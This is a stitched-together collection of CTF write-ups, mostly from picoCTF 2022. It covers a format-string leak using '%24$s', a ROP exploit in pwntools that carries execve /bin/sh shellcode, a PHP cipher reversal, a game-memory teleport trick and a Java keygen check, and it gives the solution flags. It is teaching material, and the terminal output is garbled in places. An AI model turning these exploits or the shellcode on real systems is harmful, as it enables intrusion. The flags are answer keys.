Please make your selection (rock/paper/scissors):paperscissorsrockpaperscissorsrockYou played: paperscissorsrockThe computer played: rockYou win! Play again?Congrats, here's the flag!picoCTF{50M3_3X7R3M3_1UCK_32F730C2}Type '1' to play a gameType '2' to exit the programTimed out waiting for user input. Press Ctrl-C to disconnectGoodbye!```
And we get the flag ```picoCTF{50M3_3X7R3M3_1UCK_32F730C2}```. |
# flag leak - picoCTF 2022 - CMU Cybersecurity CompetitionBinary Exploitation, 300 Points
## Description
 ## flag leak Solution
Let's observe the attached file [vuln.c](./vuln.c):```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include <wchar.h>#include <locale.h>
#define BUFSIZE 64#define FLAGSIZE 64
void readflag(char* buf, size_t len) { FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); }
fgets(buf,len,f); // size bound read}
void vuln(){ char flag[BUFSIZE]; char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> "); scanf("%127s", story); printf("Here's a story - \n"); printf(story); printf("\n");}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); return 0;}```
Let's run ```checksec``` on the attached file [vuln](./vuln):```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/flag_leak]ββββΌ $ checksec vuln[*] '/pictoctf2022/binary_exploitation/flag_leak/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)```
We can see no [PIE](https://ir0nstone.gitbook.io/notes/types/stack/pie) enable.
As we can see, we have a [format-string-vulnerability](https://resources.infosecinstitute.com/topic/how-to-exploit-format-string-vulnerabilities/) on ```vuln``` function by calling to ```printf(story)```, Using that we can leak the string of the flag from the stack.
First, Let's find what is the location on stack of ```flag``` buffer using ```gdb```:```consolegefβ€ disassemble vuln Dump of assembler code for function vuln: 0x08049333 <+0>: endbr32 0x08049337 <+4>: push ebp 0x08049338 <+5>: mov ebp,esp 0x0804933a <+7>: push ebx 0x0804933b <+8>: sub esp,0xc4 0x08049341 <+14>: call 0x80491f0 <__x86.get_pc_thunk.bx> 0x08049346 <+19>: add ebx,0x2cba 0x0804934c <+25>: sub esp,0x8 0x0804934f <+28>: push 0x40 0x08049351 <+30>: lea eax,[ebp-0x48] 0x08049354 <+33>: push eax 0x08049355 <+34>: call 0x80492b6 <readflag> 0x0804935a <+39>: add esp,0x10 0x0804935d <+42>: sub esp,0xc 0x08049360 <+45>: lea eax,[ebx-0x1f9c] 0x08049366 <+51>: push eax 0x08049367 <+52>: call 0x80490f0 <printf@plt> 0x0804936c <+57>: add esp,0x10 0x0804936f <+60>: sub esp,0x8 0x08049372 <+63>: lea eax,[ebp-0xc8] 0x08049378 <+69>: push eax 0x08049379 <+70>: lea eax,[ebx-0x1f6d] 0x0804937f <+76>: push eax 0x08049380 <+77>: call 0x8049180 <__isoc99_scanf@plt> 0x08049385 <+82>: add esp,0x10 0x08049388 <+85>: sub esp,0xc 0x0804938b <+88>: lea eax,[ebx-0x1f67] 0x08049391 <+94>: push eax 0x08049392 <+95>: call 0x8049120 <puts@plt> 0x08049397 <+100>: add esp,0x10 0x0804939a <+103>: sub esp,0xc 0x0804939d <+106>: lea eax,[ebp-0xc8] 0x080493a3 <+112>: push eax=> 0x080493a4 <+113>: call 0x80490f0 <printf@plt> 0x080493a9 <+118>: add esp,0x10 0x080493ac <+121>: sub esp,0xc 0x080493af <+124>: push 0xa 0x080493b1 <+126>: call 0x8049170 <putchar@plt> 0x080493b6 <+131>: add esp,0x10 0x080493b9 <+134>: nop 0x080493ba <+135>: mov ebx,DWORD PTR [ebp-0x4] 0x080493bd <+138>: leave 0x080493be <+139>: ret End of assembler dump.gefβ€ b *0x0804935aBreakpoint 2 at 0x804935agefβ€ r
```
We set a breakpoint right after ```readflag``` function, Let's see the stack at this point:```consolegefβ€ rStarting program: /pictoctf2022/binary_exploitation/flag_leak/vuln
Breakpoint 2, 0x0804935a in vuln ()
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0xffffcfa0β+0x0000: 0xffffd030 β "sdfs\n" β $esp0xffffcfa4β+0x0004: 0x00000040 ("@"?)0xffffcfa8β+0x0008: 0xf7dc78e8 β 0x000000000xffffcfacβ+0x000c: 0x08049346 β <vuln+19> add ebx, 0x2cba0xffffcfb0β+0x0010: 0xf7dd0ee8 β 0x00002ed00xffffcfb4β+0x0014: 0xffffffff0xffffcfb8β+0x0018: 0xffffcfe0 β 0xf7fa5d20 β 0xfbad20870xffffcfbcβ+0x001c: 0xf7dcc8a8 β 0x00002f07
```
We can see that we need to leak the 24th place on the stack, We can do it using ```%24$s``` payload:```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/flag_leak]ββββΌ $ nc saturn.picoctf.net 58009Tell me a story and then I'll tell you one >> %24$sHere's a story - picoCTF{L34k1ng_Fl4g_0ff_St4ck_eb9b46a2}
```
And we get the flag ```picoCTF{L34k1ng_Fl4g_0ff_St4ck_eb9b46a2}``` |
# rpofu - picoCTF 2022 - CMU Cybersecurity CompetitionBinary Exploitation, 300 Points
## Description
 ## rpofu Solution
Let's observe the attached file [vuln.c](./vuln.c):```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
#define BUFSIZE 16
void vuln() { char buf[16]; printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n"); return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }```
Let's run ```checksec``` on the attached file [vuln](./vuln):```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/ropfu]ββββΌ $ checksec vuln[*] '/pictoctf2022/binary_exploitation/ropfu/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
Partial RELRO, No canary and no PIE and also no NX.
So according to the challenge name/description, we know that we need to use [ROP](https://ctf101.org/binary-exploitation/return-oriented-programming/).
Let's see what is the offset between ```buf``` to ```EIP``` using ```gdb```.```asmgefβ€ rStarting program: /pictoctf2022/binary_exploitation/ropfu/vuln How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!AAAAAAAA
gefβ€ search-pattern AAAAAAAA[+] Searching 'AAAAAAAA' in memory[+] In '[heap]'(0x80e7000-0x8109000), permission=rwx 0x80e8330 - 0x80e833a β "AAAAAAAA\n" [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx 0xffffd050 - 0xffffd058 β "AAAAAAAA" gefβ€ i fStack level 0, frame at 0xffffd070: eip = 0x8049dd0 in vuln; saved eip = 0x8049e2a called by frame at 0xffffd0a0 Arglist at 0xffffd068, args: Locals at 0xffffd068, Previous frame's sp is 0xffffd070 Saved registers: eip at 0xffffd06c```
```buf``` locate on ```0xffffd050``` and ```EIP``` on ```0xffffd06c``` the offset is ```28``` bytes.
Let's set a breakpoint on ```ret``` instruction on ```vuln``` function:```asmgefβ€ disassemble vuln Dump of assembler code for function vuln: 0x08049d95 <+0>: endbr32 0x08049d99 <+4>: push ebp 0x08049d9a <+5>: mov ebp,esp 0x08049d9c <+7>: push ebx 0x08049d9d <+8>: sub esp,0x14 0x08049da0 <+11>: call 0x8049c70 <__x86.get_pc_thunk.bx> 0x08049da5 <+16>: add ebx,0x9b25b 0x08049dab <+22>: sub esp,0xc 0x08049dae <+25>: lea eax,[ebx-0x30ff8] 0x08049db4 <+31>: push eax 0x08049db5 <+32>: call 0x8051d40 <puts> 0x08049dba <+37>: add esp,0x10 0x08049dbd <+40>: sub esp,0xc 0x08049dc0 <+43>: lea eax,[ebp-0x18] 0x08049dc3 <+46>: push eax 0x08049dc4 <+47>: call 0x8051b70 <gets> 0x08049dc9 <+52>: add esp,0x10 0x08049dcc <+55>: mov ebx,DWORD PTR [ebp-0x4] 0x08049dcf <+58>: leave 0x08049dd0 <+59>: ret End of assembler dump.gefβ€ b * 0x08049dd0Breakpoint 1 at 0x8049dd0```
Now, Let's see the registers at this moment:```asmβββββββββββββββββββββββββββββββββββββ registers βββββββββββββββββββββββββββββββββββββββββββββββββββββββ$eax : 0xffffd050 β "AAAAAAAA"$ebx : 0x080e5000 β <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al$ecx : 0x080e5300 β <_IO_2_1_stdin_+0> mov BYTE PTR [edx], ah$edx : 0xffffd058 β 0x080e5000 β <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al$esp : 0xffffd06c β 0x08049e2a β <main+89> mov eax, 0x0$ebp : 0xffffd088 β 0x00000000$esi : 0x080e5000 β <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al$edi : 0x080e5000 β <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al$eip : 0x08049dd0 β <vuln+59> ret $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```
We can see ```eax``` register point to the start of the buffer, and by using ```vmmap``` we can see the address of the ```buf``` (which is ```0xffffd050```) on the executable stack area:```asmgefβ€ vmmap [ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x08048000 0x080e3000 0x00000000 r-x /pictoctf2022/binary_exploitation/ropfu/vuln0x080e3000 0x080e5000 0x0009a000 r-x /pictoctf2022/binary_exploitation/ropfu/vuln0x080e5000 0x080e7000 0x0009c000 rwx /pictoctf2022/binary_exploitation/ropfu/vuln0x080e7000 0x08109000 0x00000000 rwx [heap]0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar]0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]0xfffdd000 0xffffe000 0x00000000 rwx [stack]```
So we can write the shellcode right after the return address, and on ```buf``` we can jump to this area.
First, Let's find the gadget using [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) to jump to ```eax``` which is the start of the ```buf```:```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/ropfu]ββββΌ $ ROPgadget --binary vuln | grep "jmp eax"0x08057c12 : adc al, 0x5e ; pop edi ; jmp eax0x0807162d : adc al, 0x89 ; fcomp dword ptr [ebx + 0x5e] ; pop edi ; pop ebp ; jmp eax0x08085878 : adc al, ah ; mov eax, dword ptr [ecx + eax*4] ; jmp eax0x0808632a : adc al, ah ; mov eax, dword ptr [edi + eax*4 - 0x15c0] ; jmp eax0x08085538 : adc al, ah ; mov eax, dword ptr [edi + eax*4 - 0x1640] ; jmp eax0x0808628a : adc al, ah ; mov eax, dword ptr [edi + eax*4 - 0x16c0] ; jmp eax...0x0805334b : jmp eax...
```
We can see the gadget ```0x0805334b : jmp eax``` and that's exactly what we need.
Now, We need to find a command to jump to address after the return address.
```call``` instruction pushes the current value of the ```EIP``` register (return address) to the stack + does the call to ```vuln``` function, ```ret``` instruction pops the return address(that call pushed) from the top of the stack (```ESP``` register points there) and writes it in the ```EIP``` register.
So ```jmp ESP``` will jmp to ```ESP``` location where ```ESP``` is pointing at the location below the return address which is where our shellcode is.
The instruction ```jmp ESP``` is ```\xFF\xE4``` ([https://defuse.ca/online-x86-assembler.htm#disassembly](https://defuse.ca/online-x86-assembler.htm#disassembly)), you can understand ```ESP``` contains the return address [here](https://pages.cs.wisc.edu/~remzi/Classes/354/Fall2012/Handouts/Handout-CallReturn.pdf).
So Let's solve it using [pwntools](https://docs.pwntools.com/en/stable/intro.html):```pythonfrom pwn import *
elf = ELF('./vuln')
if args.REMOTE: p = remote('saturn.picoctf.net', 57347)else: p = process(elf.path)
# payload bufferpayload = b"\x90"*6 # nop sledpayload += b"\xFF\xE4" # jmp esp - jump to the shell code right after the return addresspayload += b"\x90"*20 # nop sledpayload += p32(0x0805334b) # jmp eax - will jump to start of buf which jump again to the shell code right after the return addresspayload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # shell code
print(p.recvuntil('!'))p.sendline(payload)p.interactive()```
Run it:```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/ropfu]ββββΌ $ python3 exp.py REMOTE[*] '/pictoctf2022/binary_exploitation/ropfu/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments[+] Opening connection to saturn.picoctf.net on port 57347: Doneb'How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!'[*] Switching to interactive mode
$ lsflag.txtvuln$ cat flag.txtpicoCTF{5n47ch_7h3_5h311_029ab653}$
```
And we get the flag ```picoCTF{5n47ch_7h3_5h311_029ab653}```. |
# VishwaCTF 2022
## Strong Encryption
**Challenge**
This is our one of the most strong encryption algorithm. Try to decrypt the flag by tracing how it is encrypted.
**Solution**
For this challenge we were given the following code:
```php 576e78697e65445c4a7c8033766770357c3960377460357360703a6f6982452f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7
$flag="";
function encrypt($str,$enKey){
$strHex=''; $Key=''; $rKey=69; $tmpKey='';
for($i=0;$i<strlen($enKey);$i++){ $Key.=ord($enKey[$i])+$rKey; $tmpKey.=chr(ord($enKey[$i])+$rKey); }
$rKeyHex=dechex($rKey);
$enKeyHash = hash('sha256',$tmpKey);
for ($i=0,$j=0; $i < strlen($str); $i++,$j++){ if($j==strlen($Key)){ $j=0; } $strHex .= dechex(ord($str[$i])+$Key[$j]); } $encTxt = $strHex.$rKeyHex.$enKeyHash; return $encTxt; }
$encTxt = encrypt($flag, "VishwaCTF");
echo $encTxt;
?> ```After a preliminary analysis of the code, we can see that the string to be decrypted consists of three parts:
```php$encTxt = $strHex.$rKeyHex.$enKeyHash;```After dividing the ciphertext into three parts, we get the following values:
strHex: 576e78697e65445c4a7c8033766770357c3960377460357360703a6f6982 rKeyHex: 45 enKeyHash: 2f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7
Then we can see, that the enKeyHash is not really needed - it is not used for the encryption of the message. The only thing we need to decrypt the ciphertext is 'Key', which can be easly recovered because we know the enKey - "VishwaCTF", and we see that the Key is created by adding 69 to the ord value of every letter of the enKey.
To get the flag I wrote this simple script in Python:
```pythonenKey = "VishwaCTF"Key = ''for character in enKey: Key += str(ord(character)+69)Key += KeystrHex = '576e78697e65445c4a7c8033766770357c3960377460357360703a6f6982'strHex_divided = [strHex[i:i+2] for i in range(0, len(strHex), 2)]# $strHex .= dechex(ord($str[$i])+$Key[$j]);flag = ''for i in range(len(strHex_divided)): flag += chr(int(strHex_divided[i], 16)-int(Key[i]))print(flag)``````VishwaCTF{y0u_h4v3_4n_0p_m1nd}``` |
See here : [https://berryberry.hatenablog.jp/](https://berryberry.hatenablog.jp/entry/2022/03/07/230635)
## SolutionWe can get "icandothisallday.zip" first and unzip it. You can see lots of files in your current directory. Like this.
We can guess that the flag is in those files. Therefore, we type this and run it.```## written in python
from glob import glob
directory = "<your current directory absolute path>" ## like "/home/ubuntu/Downloads/eCTF/amam"for file in glob(directory + '/*.txt'): data = open(file, "r").read() if ("CTF" in data): print(data)```Now, we can get this flag.```CTF{d3cry47ing_nu3l34r_c0d35}``` |
This writeup is best viewed on [GitLab](https://gitlab.com/WhatTheFuzz-CTFs/ctfs/-/tree/main/picoCTF/reversing/wizardlike) or mirrored on [GitHub](https://github.com/WhatTheFuzz/CTFs/tree/main/picoCTF/reversing/wizardlike).
# Wizardlike
Wizardlike is a 500 point reversing problem for picoCTF 2022. It was the finalreversing challenge of the CTF. It was authored by LT 'syreal' Jones. Thedescription states:
> Do you seek your destiny in these deplorable dungeons? If so, you may want tolook elsewhere. Many have gone before you and honestly, they've cleared out theplace of all monsters, ne'erdowells, bandits and every other sort of evil foe.The dungeons themselves have seen better days too. There's a lot of missingfloors and key passages blocked off. You'd have to be a real wizard to make anyprogress in this sorry excuse for a dungeon! Download the game. 'w', 'a', 's','d' moves your character and 'Q' quits. You'll need to improvise some wizardlyabilities to find the flag in this dungeon crawl. '.' is floor, '#' are walls,'<' are stairs up to previous level, and '>' are stairs down to next level.
We are given the following:
* `game`: amd64 binary that contains a terminal based game.
## Information Gathering
### Hint #1
Different tools are better at different things. Ghidra is awesome at staticanalysis, but radare2 is amazing at debugging.
### Hint #2
With the right focus and preparation, you can teleport to anywhere on the map.
### Static Analysis
The first goal was to decompile the program with Ghidra. We honed in on thefunctions that immediately followed the call to `wgetchar`. Each of themchecked for what direction the user entered. We labeled the functionsappropriately (it was missing the symbols).
```c...selection = wgetch();if (selection == L'Q') { bVar1 = false;}else { if (selection == L'w') { up(); } else { if (selection == L's') { down(); } else { if (selection == L'a') { left(); } else { if (selection == L'd') { right(); } } } }}...```
Looking in each of these functions, we could see that the x and y positionswere being updated. We called them `x_pos` and `y_pos`. These were stored asglobal variables at the addresses `0x555555573e70` and `0x555555573e74`respectively (the base address being `0x555555554000`). We've copied thedisassembly of the function `up` here just to show how `y_pos` is being updated.
```cvoid up(void){ char cVar1;
cVar1 = FUN_5555555555ac(x_pos,y_pos + -1); if (cVar1 != '\0') { if ((DAT_555555573e9c / 2 < y_pos) && (y_pos <= 100 - DAT_555555573e9c / 2)) { DAT_555555573e94 = DAT_555555573e94 + -1; } y_pos = y_pos + -1; } return;}```
Knowing these values, we could open the program with GDB and 'teleport' aroundthe map by setting the `x_pos` and `y_pos` whenever we wanted to. This allowedus to get to places on the map that we otherwise could not see. Setting `x_pos`to 10 and `y_pos` to 3 on the very first level teleported us to the otherwiseinaccessible room on the right side of the dungeon. Here, we can see the firstpart of the flag printed as ascii art.

This is when we got the idea to just examine how the ascii art was printed. Wefound function that looped over `i` and `j` capped at 100 each. Because thevalue being passed to this function from `main` pointed to ascii characterseach of size ~100,000 bytes, we assumed that this function created the entiremap as a 100 x 100 grid. This turned out to be true.
void print_floor(char (*param_1) [10000]){ int i; int j;
for (i = 0; i < 100; i = i + 1) { for (j = 0; j < 100; j = j + 1) { (&DAT_555555573ea0)[(long)i * 100 + (long)j] = (*param_1)[(long)j + (long)i * 100]; } } return;}
## Solution
We simply recorded all of the parameters to `print_floor` as they were calledin `main`. For example, the first floor was printed like the following and werecorded the address of global variable `firstFloor`.
```cif (currentFloor == 1) { FUN_555555555229(); print_floor((char (*) [10000])firstFloor); x_pos = 2; y_pos = 1; DAT_555555573e90 = 0; DAT_555555573e94 = 0; DAT_555555573e78 = 1;}```
We placed all of these addresses inside of `solve.py` inside of a dictionary.We then looped through each floor and printed out 100 characters per line for100 lines. This gave us the same ascii art that we saw in the image abovedumped to `flag_art.txt`.
```txt##########.......# ......#...................................#.......# ....................####.#####.#####..###.#........ .####.#..###..###..#.......#...#......#...#.......# .# #.#.#....# #.#.......#...###...#....#.......# .####.#.#....# #.#.......#...#......#...#.......# .#....#..###..###...####...#...#......###.#.......# .#........................................#.......# ..........................................#.......##.......##.......##.......##.......##......>##########```
Looking at all ascii art in `flag_art.txt`, we pieced together the flag`picoCTF{ur_4_w1z4rd_4B0DA5A9}`. |
# Fresh Java - picoCTF 2022 - CMU Cybersecurity CompetitionReverse Engineering, 200 Points
## Description
 ## Fresh Java Solution
The attached file [KeygenMe.class](./KeygenMe.class) is java compiled file, Let's use [jadx](https://github.com/skylot/jadx/releases/tag/v1.3.4) to decompile it.
By decompiling it we found the following code:```javapackage defpackage;
import java.util.Scanner;
/* renamed from: KeygenMe reason: default package *//* loaded from: KeygenMe.class */public class KeygenMe { public static void main(String[] strArr) { Scanner scanner = new Scanner(System.in); System.out.println("Enter key:"); String nextLine = scanner.nextLine(); if (nextLine.length() != 34) { System.out.println("Invalid key"); } else if (nextLine.charAt(33) != '}') { System.out.println("Invalid key"); } else if (nextLine.charAt(32) != '0') { System.out.println("Invalid key"); } else if (nextLine.charAt(31) != 'f') { System.out.println("Invalid key"); } else if (nextLine.charAt(30) != '9') { System.out.println("Invalid key"); } else if (nextLine.charAt(29) != '5') { System.out.println("Invalid key"); } else if (nextLine.charAt(28) != 'c') { System.out.println("Invalid key"); } else if (nextLine.charAt(27) != '6') { System.out.println("Invalid key"); } else if (nextLine.charAt(26) != '2') { System.out.println("Invalid key"); } else if (nextLine.charAt(25) != '1') { System.out.println("Invalid key"); } else if (nextLine.charAt(24) != '_') { System.out.println("Invalid key"); } else if (nextLine.charAt(23) != 'd') { System.out.println("Invalid key"); } else if (nextLine.charAt(22) != '3') { System.out.println("Invalid key"); } else if (nextLine.charAt(21) != 'r') { System.out.println("Invalid key"); } else if (nextLine.charAt(20) != '1') { System.out.println("Invalid key"); } else if (nextLine.charAt(19) != 'u') { System.out.println("Invalid key"); } else if (nextLine.charAt(18) != 'q') { System.out.println("Invalid key"); } else if (nextLine.charAt(17) != '3') { System.out.println("Invalid key"); } else if (nextLine.charAt(16) != 'r') { System.out.println("Invalid key"); } else if (nextLine.charAt(15) != '_') { System.out.println("Invalid key"); } else if (nextLine.charAt(14) != 'g') { System.out.println("Invalid key"); } else if (nextLine.charAt(13) != 'n') { System.out.println("Invalid key"); } else if (nextLine.charAt(12) != '1') { System.out.println("Invalid key"); } else if (nextLine.charAt(11) != 'l') { System.out.println("Invalid key"); } else if (nextLine.charAt(10) != '0') { System.out.println("Invalid key"); } else if (nextLine.charAt(9) != '0') { System.out.println("Invalid key"); } else if (nextLine.charAt(8) != '7') { System.out.println("Invalid key"); } else if (nextLine.charAt(7) != '{') { System.out.println("Invalid key"); } else if (nextLine.charAt(6) != 'F') { System.out.println("Invalid key"); } else if (nextLine.charAt(5) != 'T') { System.out.println("Invalid key"); } else if (nextLine.charAt(4) != 'C') { System.out.println("Invalid key"); } else if (nextLine.charAt(3) != 'o') { System.out.println("Invalid key"); } else if (nextLine.charAt(2) != 'c') { System.out.println("Invalid key"); } else if (nextLine.charAt(1) != 'i') { System.out.println("Invalid key"); } else if (nextLine.charAt(0) != 'p') { System.out.println("Invalid key"); } else { System.out.println("Valid key"); } }}```
We can see it compares each position on the user input which is ```nextLine``` from the end, nextLine at index ```0``` should be ```p```, nextLine at index ```1``` should be ```i``` etc.
According that we can build the flag ```picoCTF{700l1ng_r3qu1r3d_126c59f0}``` |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.